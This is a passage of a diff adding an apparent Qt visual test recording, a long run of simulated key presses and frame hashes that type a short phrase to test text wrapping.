+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 7
+ key: 73
+ modifiers: 0
+ text: "69"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 544
+ hash: "e25e16d0d7b223b243d466630b901f68"
+ }
+ Frame {
+ msec: 560
+ hash: "e25e16d0d7b223b243d466630b901f68"
+ }
+ Frame {
+ msec: 576
+ hash: "e25e16d0d7b223b243d466630b901f68"
+ }
+ Frame {
+ msec: 592
+ hash: "e25e16d0d7b223b243d466630b901f68"
+ }
+ Frame {
+ msec: 608
+ hash: "e25e16d0d7b223b243d466630b901f68"
+ }
+ Key {
+ type: 7
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 624
+ hash: "a53520edb9c117aa53abc42fce3505be"
+ }
+ Frame {
+ msec: 640
+ hash: "a53520edb9c117aa53abc42fce3505be"
+ }
+ Frame {
+ msec: 656
+ hash: "a53520edb9c117aa53abc42fce3505be"
+ }
+ Frame {
+ msec: 672
+ hash: "a53520edb9c117aa53abc42fce3505be"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 688
+ hash: "a53520edb9c117aa53abc42fce3505be"
+ }
+ Frame {
+ msec: 704
+ hash: "a53520edb9c117aa53abc42fce3505be"
+ }
+ Key {
+ type: 6
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 720
+ hash: "a7ef30038b24e8bf946bdd38aaac6430"
+ }
+ Frame {
+ msec: 736
+ hash: "a7ef30038b24e8bf946bdd38aaac6430"
+ }
+ Frame {
+ msec: 752
+ hash: "a7ef30038b24e8bf946bdd38aaac6430"
+ }
+ Frame {
+ msec: 768
+ hash: "a7ef30038b24e8bf946bdd38aaac6430"
+ }
+ Frame {
+ msec: 784
+ hash: "a7ef30038b24e8bf946bdd38aaac6430"
+ }
+ Key {
+ type: 7
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 800
+ hash: "a7ef30038b24e8bf946bdd38aaac6430"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 816
+ hash: "026b29fc03bd22e15ff725d34dee91eb"
+ }
+ Frame {
+ msec: 832
+ hash: "026b29fc03bd22e15ff725d34dee91eb"
+ }
+ Frame {
+ msec: 848
+ hash: "026b29fc03bd22e15ff725d34dee91eb"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 864
+ hash: "026b29fc03bd22e15ff725d34dee91eb"
+ }
+ Frame {
+ msec: 880
+ hash: "026b29fc03bd22e15ff725d34dee91eb"
+ }
+ Frame {
+ msec: 896
+ hash: "026b29fc03bd22e15ff725d34dee91eb"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 912
+ hash: "2b1cef34dff32e36e3c44f2ffb2be66e"
+ }
+ Frame {
+ msec: 928
+ hash: "2b1cef34dff32e36e3c44f2ffb2be66e"
+ }
+ Frame {
+ msec: 944
+ hash: "2b1cef34dff32e36e3c44f2ffb2be66e"
+ }
+ Frame {
+ msec: 960
+ hash: "2b1cef34dff32e36e3c44f2ffb2be66e"
+ }
+ Frame {
+ msec: 976
+ image: "wrap.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "2b1cef34dff32e36e3c44f2ffb2be66e"
+ }
+ Key {
+ type: 6
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1008
+ hash: "f619bc4148876effc459127009d4cc3a"
+ }
+ Frame {
+ msec: 1024
+ hash: "f619bc4148876effc459127009d4cc3a"
+ }
+ Frame {
+ msec: 1040
+ hash: "f619bc4148876effc459127009d4cc3a"
+ }
+ Frame {
+ msec: 1056
+ hash: "f619bc4148876effc459127009d4cc3a"
+ }
+ Frame {
+ msec: 1072
+ hash: "f619bc4148876effc459127009d4cc3a"
+ }
+ Key {
+ type: 7
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1088
+ hash: "f619bc4148876effc459127009d4cc3a"
+ }
+ Frame {
+ msec: 1104
+ hash: "f619bc4148876effc459127009d4cc3a"
+ }
+ Frame {
+ msec: 1120
+ hash: "f619bc4148876effc459127009d4cc3a"
+ }
+ Frame {
+ msec: 1136
+ hash: "f619bc4148876effc459127009d4cc3a"
+ }
+ Frame {
+ msec: 1152
+ hash: "f619bc4148876effc459127009d4cc3a"
+ }
+ Frame {
+ msec: 1168
+ hash: "f619bc4148876effc459127009d4cc3a"
+ }
+ Frame {
+ msec: 1184
+ hash: "f619bc4148876effc459127009d4cc3a"
+ }
+ Key {
+ type: 6
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1200
+ hash: "c7fbee3129141e8493b7bc4f85fdc2d0"
+ }
+ Frame {
+ msec: 1216
+ hash: "c7fbee3129141e8493b7bc4f85fdc2d0"
+ }
+ Frame {
+ msec: 1232
+ hash: "c7fbee3129141e8493b7bc4f85fdc2d0"
+ }
+ Frame {
+ msec: 1248
+ hash: "c7fbee3129141e8493b7bc4f85fdc2d0"
+ }
+ Frame {
+ msec: 1264
+ hash: "c7fbee3129141e8493b7bc4f85fdc2d0"
+ }
+ Key {
+ type: 7
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1280
+ hash: "f2a45d80148ee1b5f1cd8cb6ddd0c5ed"
+ }
+ Frame {
+ msec: 1296
+ hash: "f2a45d80148ee1b5f1cd8cb6ddd0c5ed"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1312
+ hash: "147efa341e4dc39cdd555c2c81e5c603"
+ }
+ Frame {
+ msec: 1328
+ hash: "147efa341e4dc39cdd555c2c81e5c603"
+ }
+ Frame {
+ msec: 1344
+ hash: "147efa341e4dc39cdd555c2c81e5c603"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1360
+ hash: "147efa341e4dc39cdd555c2c81e5c603"
+ }
+ Frame {
+ msec: 1376
+ hash: "147efa341e4dc39cdd555c2c81e5c603"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1392
+ hash: "147efa341e4dc39cdd555c2c81e5c603"
+ }
+ Frame {
+ msec: 1408
+ hash: "147efa341e4dc39cdd555c2c81e5c603"
+ }
+ Frame {
+ msec: 1424
+ hash: "147efa341e4dc39cdd555c2c81e5c603"
+ }
+ Frame {
+ msec: 1440
+ hash: "147efa341e4dc39cdd555c2c81e5c603"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1456
+ hash: "d5b19a6d767a08f488cc8fc5c427a2dd"
+ }
+ Frame {
+ msec: 1472
+ hash: "d5b19a6d767a08f488cc8fc5c427a2dd"
+ }
+ Frame {
+ msec: 1488
+ hash: "d5b19a6d767a08f488cc8fc5c427a2dd"
+ }
+ Frame {
+ msec: 1504
+ hash: "d5b19a6d767a08f488cc8fc5c427a2dd"
+ }
+ Frame {
+ msec: 1520
+ hash: "d5b19a6d767a08f488cc8fc5c427a2dd"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1536
+ hash: "d5b19a6d767a08f488cc8fc5c427a2dd"
+ }
+ Frame {
+ msec: 1552
+ hash: "d5b19a6d767a08f488cc8fc5c427a2dd"
+ }
+ Key {
+ type: 6
+ key: 72
+ modifiers: 0
+ text: "68"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1568
+ hash: "bf6265ca859f700fb07f8b992255787d"
+ }
+ Frame {
+ msec: 1584
+ hash: "bf6265ca859f700fb07f8b992255787d"
+ }
+ Frame {
+ msec: 1600
+ hash: "bf6265ca859f700fb07f8b992255787d"
+ }
+ Frame {
+ msec: 1616
+ hash: "bf6265ca859f700fb07f8b992255787d"
+ }
+ Frame {
+ msec: 1632
+ hash: "bf6265ca859f700fb07f8b992255787d"
+ }
+ Key {
+ type: 6
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 7
+ key: 72
+ modifiers: 0
+ text: "68"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1648
+ hash: "329e4cd26283eb08188d96b2b0325733"
+ }
+ Frame {
+ msec: 1664
+ hash: "329e4cd26283eb08188d96b2b0325733"
+ }
+ Frame {
+ msec: 1680
+ hash: "329e4cd26283eb08188d96b2b0325733"
+ }
+ Frame {
+ msec: 1696
+ hash: "329e4cd26283eb08188d96b2b0325733"
+ }
+ Frame {
+ msec: 1712
+ hash: "329e4cd26283eb08188d96b2b0325733"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1728
+ hash: "7b5ac2afafbbaf1e13c70a11461820ad"
+ }
+ Frame {
+ msec: 1744
+ hash: "7b5ac2afafbbaf1e13c70a11461820ad"
+ }
+ Frame {
+ msec: 1760
+ hash: "7b5ac2afafbbaf1e13c70a11461820ad"
+ }
+ Key {
+ type: 7
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1776
+ hash: "7b5ac2afafbbaf1e13c70a11461820ad"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1792
+ hash: "bcfa1aa48767f70541a70cb5f85792ba"
+ }
+ Frame {
+ msec: 1808
+ hash: "bcfa1aa48767f70541a70cb5f85792ba"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1824
+ hash: "bcfa1aa48767f70541a70cb5f85792ba"
+ }
+ Frame {
+ msec: 1840
+ hash: "bcfa1aa48767f70541a70cb5f85792ba"
+ }
+ Frame {
+ msec: 1856
+ hash: "bcfa1aa48767f70541a70cb5f85792ba"
+ }
+ Frame {
+ msec: 1872
+ hash: "bcfa1aa48767f70541a70cb5f85792ba"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1888
+ hash: "bcfa1aa48767f70541a70cb5f85792ba"
+ }
+ Frame {
+ msec: 1904
+ hash: "bcfa1aa48767f70541a70cb5f85792ba"
+ }
+ Frame {
+ msec: 1920
+ hash: "bcfa1aa48767f70541a70cb5f85792ba"
+ }
+ Frame {
+ msec: 1936
+ image: "wrap.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "bcfa1aa48767f70541a70cb5f85792ba"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1968
+ hash: "e89f7cf38b3b596298d6c649a1207469"
+ }
+ Frame {
+ msec: 1984
+ hash: "e89f7cf38b3b596298d6c649a1207469"
+ }
+ Frame {
+ msec: 2000
+ hash: "e89f7cf38b3b596298d6c649a1207469"
+ }
+ Frame {
+ msec: 2016
+ hash: "e89f7cf38b3b596298d6c649a1207469"
+ }
+ Frame {
+ msec: 2032
+ hash: "e89f7cf38b3b596298d6c649a1207469"
+ }
+ Frame {
+ msec: 2048
+ hash: "e89f7cf38b3b596298d6c649a1207469"
+ }
+ Key {
+ type: 6
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2064
+ hash: "18e71331b42a115f7f9d5c09e235b944"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2080
+ hash: "18e71331b42a115f7f9d5c09e235b944"
+ }
+ Frame {
+ msec: 2096
+ hash: "18e71331b42a115f7f9d5c09e235b944"
+ }
+ Frame {
+ msec: 2112
+ hash: "18e71331b42a115f7f9d5c09e235b944"
+ }
+ Key {
+ type: 7
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2128
+ hash: "18e71331b42a115f7f9d5c09e235b944"
+ }
+ Frame {
+ msec: 2144
+ hash: "18e71331b42a115f7f9d5c09e235b944"
+ }
+ Frame {
+ msec: 2160
+ hash: "18e71331b42a115f7f9d5c09e235b944"
+ }
+ Frame {
+ msec: 2176
+ hash: "18e71331b42a115f7f9d5c09e235b944"
+ }
+ Frame {
+ msec: 2192
+ hash: "18e71331b42a115f7f9d5c09e235b944"
+ }
+ Frame {
+ msec: 2208
+ hash: "18e71331b42a115f7f9d5c09e235b944"
+ }
+ Key {
+ type: 6
+ key: 88
+ modifiers: 0
+ text: "78"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2224
+ hash: "3630abd7cc6ab303d08f30dea7b1eec1"
+ }
+ Frame {
+ msec: 2240
+ hash: "3630abd7cc6ab303d08f30dea7b1eec1"
+ }
+ Frame {
+ msec: 2256
+ hash: "3630abd7cc6ab303d08f30dea7b1eec1"
+ }
+ Frame {
+ msec: 2272
+ hash: "3630abd7cc6ab303d08f30dea7b1eec1"
+ }
+ Frame {
+ msec: 2288
+ hash: "3630abd7cc6ab303d08f30dea7b1eec1"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2304
+ hash: "83e7b8c680cda95ec0a669b8030a3efd"
+ }
+ Key {
+ type: 7
+ key: 88
+ modifiers: 0
+ text: "78"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2320
+ hash: "83e7b8c680cda95ec0a669b8030a3efd"
+ }
+ Frame {
+ msec: 2336
+ hash: "83e7b8c680cda95ec0a669b8030a3efd"
+ }
+ Frame {
+ msec: 2352
+ hash: "83e7b8c680cda95ec0a669b8030a3efd"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2368
+ hash: "cc826833607ae754e633d21ca67a6b5a"
+ }
+ Frame {
+ msec: 2384
+ hash: "cc826833607ae754e633d21ca67a6b5a"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2400
+ hash: "cc826833607ae754e633d21ca67a6b5a"
+ }
+ Frame {
+ msec: 2416
+ hash: "cc826833607ae754e633d21ca67a6b5a"
+ }
+ Frame {
+ msec: 2432
+ hash: "cc826833607ae754e633d21ca67a6b5a"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2448
+ hash: "cc826833607ae754e633d21ca67a6b5a"
+ }
+ Frame {
+ msec: 2464
+ hash: "cc826833607ae754e633d21ca67a6b5a"
+ }
+ Frame {
+ msec: 2480
+ hash: "cc826833607ae754e633d21ca67a6b5a"
+ }
+ Key {
+ type: 6
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2496
+ hash: "2b4c812fac4e84909cc8fc70d8966a27"
+ }
+ Frame {
+ msec: 2512
+ hash: "2b4c812fac4e84909cc8fc70d8966a27"
+ }
+ Frame {
+ msec: 2528
+ hash: "2b4c812fac4e84909cc8fc70d8966a27"
+ }
+ Frame {
+ msec: 2544
+ hash: "2b4c812fac4e84909cc8fc70d8966a27"
+ }
+ Key {
+ type: 7
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2560
+ hash: "2b4c812fac4e84909cc8fc70d8966a27"
+ }
+ Frame {
+ msec: 2576
+ hash: "2b4c812fac4e84909cc8fc70d8966a27"
+ }
+ Frame {
+ msec: 2592
+ hash: "2b4c812fac4e84909cc8fc70d8966a27"
+ }
+ Frame {
+ msec: 2608
+ hash: "2b4c812fac4e84909cc8fc70d8966a27"
+ }
+ Frame {
+ msec: 2624
+ hash: "2b4c812fac4e84909cc8fc70d8966a27"
+ }
+ Frame {
+ msec: 2640
+ hash: "2b4c812fac4e84909cc8fc70d8966a27"
+ }
+ Key {
+ type: 6
+ key: 68
+ modifiers: 0
+ text: "64"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2656
+ hash: "c1aabf4b43cbae0d7654ba78fc870fdd"
+ }
+ Frame {
+ msec: 2672
+ hash: "c1aabf4b43cbae0d7654ba78fc870fdd"
+ }
+ Frame {
+ msec: 2688
+ hash: "c1aabf4b43cbae0d7654ba78fc870fdd"
+ }
+ Frame {
+ msec: 2704
+ hash: "c1aabf4b43cbae0d7654ba78fc870fdd"
+ }
+ Key {
+ type: 7
+ key: 68
+ modifiers: 0
+ text: "64"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2720
+ hash: "c1aabf4b43cbae0d7654ba78fc870fdd"
+ }
+ Frame {
+ msec: 2736
+ hash: "c1aabf4b43cbae0d7654ba78fc870fdd"
+ }
+ Frame {
+ msec: 2752
+ hash: "c1aabf4b43cbae0d7654ba78fc870fdd"
+ }
+ Key {
+ type: 6
+ key: 73
+ modifiers: 0
+ text: "69"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2768
+ hash: "a707dd726c777a661e4f12d27a75cf63"
+ }
+ Frame {
+ msec: 2784
+ hash: "a707dd726c777a661e4f12d27a75cf63"
+ }
+ Frame {
+ msec: 2800
+ hash: "a707dd726c777a661e4f12d27a75cf63"
+ }
+ Frame {
+ msec: 2816
+ hash: "a707dd726c777a661e4f12d27a75cf63"
+ }
+ Frame {
+ msec: 2832
+ hash: "a707dd726c777a661e4f12d27a75cf63"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 7
+ key: 73
+ modifiers: 0
+ text: "69"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2848
+ hash: "bdaa69c1074f9820901ce31ea24383ca"
+ }
+ Frame {
+ msec: 2864
+ hash: "bdaa69c1074f9820901ce31ea24383ca"
+ }
+ Frame {
+ msec: 2880
+ hash: "bdaa69c1074f9820901ce31ea24383ca"
+ }
+ Frame {
+ msec: 2896
+ image: "wrap.3.png"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2912
+ hash: "f703f87031be4f9d7409fb145343c02b"
+ }
+ Frame {
+ msec: 2928
+ hash: "f703f87031be4f9d7409fb145343c02b"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2944
+ hash: "f703f87031be4f9d7409fb145343c02b"
+ }
+ Frame {
+ msec: 2960
+ hash: "f703f87031be4f9d7409fb145343c02b"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2976
+ hash: "f703f87031be4f9d7409fb145343c02b"
+ }
+ Frame {
+ msec: 2992
+ hash: "f703f87031be4f9d7409fb145343c02b"
+ }
+ Frame {
+ msec: 3008
+ hash: "f703f87031be4f9d7409fb145343c02b"
+ }
+ Frame {
+ msec: 3024
+ hash: "f703f87031be4f9d7409fb145343c02b"
+ }
+ Frame {
+ msec: 3040
+ hash: "f703f87031be4f9d7409fb145343c02b"
+ }
+ Frame {
+ msec: 3056
+ hash: "f703f87031be4f9d7409fb145343c02b"
+ }
+ Frame {
+ msec: 3072
+ hash: "f703f87031be4f9d7409fb145343c02b"
+ }
+ Frame {
+ msec: 3088
+ hash: "f703f87031be4f9d7409fb145343c02b"
+ }
+ Key {
+ type: 6
+ key: 87
+ modifiers: 0
+ text: "77"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3104
+ hash: "cb2660df955b757b00661a1acb5f22d2"
+ }
+ Frame {
+ msec: 3120
+ hash: "cb2660df955b757b00661a1acb5f22d2"
+ }
+ Frame {
+ msec: 3136
+ hash: "cb2660df955b757b00661a1acb5f22d2"
+ }
+ Frame {
+ msec: 3152
+ hash: "cb2660df955b757b00661a1acb5f22d2"
+ }
+ Frame {
+ msec: 3168
+ hash: "cb2660df955b757b00661a1acb5f22d2"
+ }
+ Key {
+ type: 7
+ key: 87
+ modifiers: 0
+ text: "77"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3184
+ hash: "cb2660df955b757b00661a1acb5f22d2"
+ }
+ Frame {
+ msec: 3200
+ hash: "cb2660df955b757b00661a1acb5f22d2"
+ }
+ Frame {
+ msec: 3216
+ hash: "cb2660df955b757b00661a1acb5f22d2"
+ }
+ Frame {
+ msec: 3232
+ hash: "cb2660df955b757b00661a1acb5f22d2"
+ }
+ Frame {
+ msec: 3248
+ hash: "cb2660df955b757b00661a1acb5f22d2"
+ }
+ Key {
+ type: 6
+ key: 82
+ modifiers: 0
+ text: "72"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3264
+ hash: "8ea510d25195956fa42eabfe3bb9f230"
+ }
+ Frame {
+ msec: 3280
+ hash: "8ea510d25195956fa42eabfe3bb9f230"
+ }
+ Frame {
+ msec: 3296
+ hash: "8ea510d25195956fa42eabfe3bb9f230"
+ }
+ Key {
+ type: 7
+ key: 82
+ modifiers: 0
+ text: "72"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3312
+ hash: "8ea510d25195956fa42eabfe3bb9f230"
+ }
+ Frame {
+ msec: 3328
+ hash: "8ea510d25195956fa42eabfe3bb9f230"
+ }
+ Frame {
+ msec: 3344
+ hash: "8ea510d25195956fa42eabfe3bb9f230"
+ }
+ Key {
+ type: 6
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3360
+ hash: "26b58aef7b1f50a5d261718e8266a3fb"
+ }
+ Frame {
+ msec: 3376
+ hash: "26b58aef7b1f50a5d261718e8266a3fb"
+ }
+ Frame {
+ msec: 3392
+ hash: "26b58aef7b1f50a5d261718e8266a3fb"
+ }
+ Frame {
+ msec: 3408
+ hash: "26b58aef7b1f50a5d261718e8266a3fb"
+ }
+ Frame {
+ msec: 3424
+ hash: "26b58aef7b1f50a5d261718e8266a3fb"
+ }
+ Key {
+ type: 7
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3440
+ hash: "26b58aef7b1f50a5d261718e8266a3fb"
+ }
+ Frame {
+ msec: 3456
+ hash: "26b58aef7b1f50a5d261718e8266a3fb"
+ }
+ Frame {
+ msec: 3472
+ hash: "26b58aef7b1f50a5d261718e8266a3fb"
+ }
+ Key {
+ type: 6
+ key: 80
+ modifiers: 0
+ text: "70"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3488
+ hash: "012854de1c9d1a772994d02f52bdcd7c"
+ }
+ Frame {
+ msec: 3504
+ hash: "012854de1c9d1a772994d02f52bdcd7c"
+ }
+ Frame {
+ msec: 3520
+ hash: "012854de1c9d1a772994d02f52bdcd7c"
+ }
+ Frame {
+ msec: 3536
+ hash: "012854de1c9d1a772994d02f52bdcd7c"
+ }
+ Key {
+ type: 7
+ key: 80
+ modifiers: 0
+ text: "70"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3552
+ hash: "012854de1c9d1a772994d02f52bdcd7c"
+ }
+ Frame {
+ msec: 3568
+ hash: "012854de1c9d1a772994d02f52bdcd7c"
+ }
+ Key {
+ type: 6
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3584
+ hash: "660a31e1c0d573f4155cfa8fe2323413"
+ }
+ Frame {
+ msec: 3600
+ hash: "660a31e1c0d573f4155cfa8fe2323413"
+ }
+ Frame {
+ msec: 3616
+ hash: "660a31e1c0d573f4155cfa8fe2323413"
+ }
+ Frame {
+ msec: 3632
+ hash: "660a31e1c0d573f4155cfa8fe2323413"
+ }
+ Frame {
+ msec: 3648
+ hash: "660a31e1c0d573f4155cfa8fe2323413"
+ }
+ Frame {
+ msec: 3664
+ hash: "660a31e1c0d573f4155cfa8fe2323413"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3680
+ hash: "bea00f5e628e40b679eb8829c16c6260"
+ }
+ Key {
+ type: 7
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3696
+ hash: "bea00f5e628e40b679eb8829c16c6260"
+ }
+ Frame {
+ msec: 3712
+ hash: "bea00f5e628e40b679eb8829c16c6260"
+ }
+ Frame {
+ msec: 3728
+ hash: "bea00f5e628e40b679eb8829c16c6260"
+ }
+ Frame {
+ msec: 3744
+ hash: "bea00f5e628e40b679eb8829c16c6260"
+ }
+ Frame {
+ msec: 3760
+ hash: "bea00f5e628e40b679eb8829c16c6260"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3776
+ hash: "bea00f5e628e40b679eb8829c16c6260"
+ }
+ Frame {
+ msec: 3792
+ hash: "bea00f5e628e40b679eb8829c16c6260"
+ }
+ Frame {
+ msec: 3808
+ hash: "bea00f5e628e40b679eb8829c16c6260"
+ }
+ Frame {
+ msec: 3824
+ hash: "bea00f5e628e40b679eb8829c16c6260"
+ }
+ Frame {
+ msec: 3840
+ hash: "bea00f5e628e40b679eb8829c16c6260"
+ }
+ Frame {
+ msec: 3856
+ image: "wrap.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "bea00f5e628e40b679eb8829c16c6260"
+ }
+ Frame {
+ msec: 3888
+ hash: "bea00f5e628e40b679eb8829c16c6260"
+ }
+ Frame {
+ msec: 3904
+ hash: "bea00f5e628e40b679eb8829c16c6260"
+ }
+ Key {
+ type: 6
+ key: 67
+ modifiers: 0
+ text: "63"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3920
+ hash: "c5c60cd10a1106161cde5f51dbdec5ad"
+ }
+ Frame {
+ msec: 3936
+ hash: "c5c60cd10a1106161cde5f51dbdec5ad"
+ }
+ Frame {
+ msec: 3952
+ hash: "c5c60cd10a1106161cde5f51dbdec5ad"
+ }
+ Frame {
+ msec: 3968
+ hash: "c5c60cd10a1106161cde5f51dbdec5ad"
+ }
+ Frame {
+ msec: 3984
+ hash: "c5c60cd10a1106161cde5f51dbdec5ad"
+ }
+ Key {
+ type: 7
+ key: 67
+ modifiers: 0
+ text: "63"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4000
+ hash: "c5c60cd10a1106161cde5f51dbdec5ad"
+ }
+ Frame {
+ msec: 4016
+ hash: "c5c60cd10a1106161cde5f51dbdec5ad"
+ }
+ Key {
+ type: 6
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4032
+ hash: "41c26e6a4c911f9ecd082c4d3366806b"
+ }
+ Frame {
+ msec: 4048
+ hash: "41c26e6a4c911f9ecd082c4d3366806b"
+ }
+ Frame {
+ msec: 4064
+ hash: "41c26e6a4c911f9ecd082c4d3366806b"
+ }
+ Key {
+ type: 7
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4080
+ hash: "41c26e6a4c911f9ecd082c4d3366806b"
+ }
+ Key {
+ type: 6
+ key: 82
+ modifiers: 0
+ text: "72"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4096
+ hash: "e212938ce981ed4e8d7a993468bc9377"
+ }
+ Frame {
+ msec: 4112
+ hash: "e212938ce981ed4e8d7a993468bc9377"
+ }
+ Frame {
+ msec: 4128
+ hash: "e212938ce981ed4e8d7a993468bc9377"
+ }
+ Frame {
+ msec: 4144
+ hash: "e212938ce981ed4e8d7a993468bc9377"
+ }
+ Key {
+ type: 7
+ key: 82
+ modifiers: 0
+ text: "72"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4160
+ hash: "e212938ce981ed4e8d7a993468bc9377"
+ }
+ Frame {
+ msec: 4176
+ hash: "e212938ce981ed4e8d7a993468bc9377"
+ }
+ Frame {
+ msec: 4192
+ hash: "e212938ce981ed4e8d7a993468bc9377"
+ }
+ Key {
+ type: 6
+ key: 82
+ modifiers: 0
+ text: "72"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4208
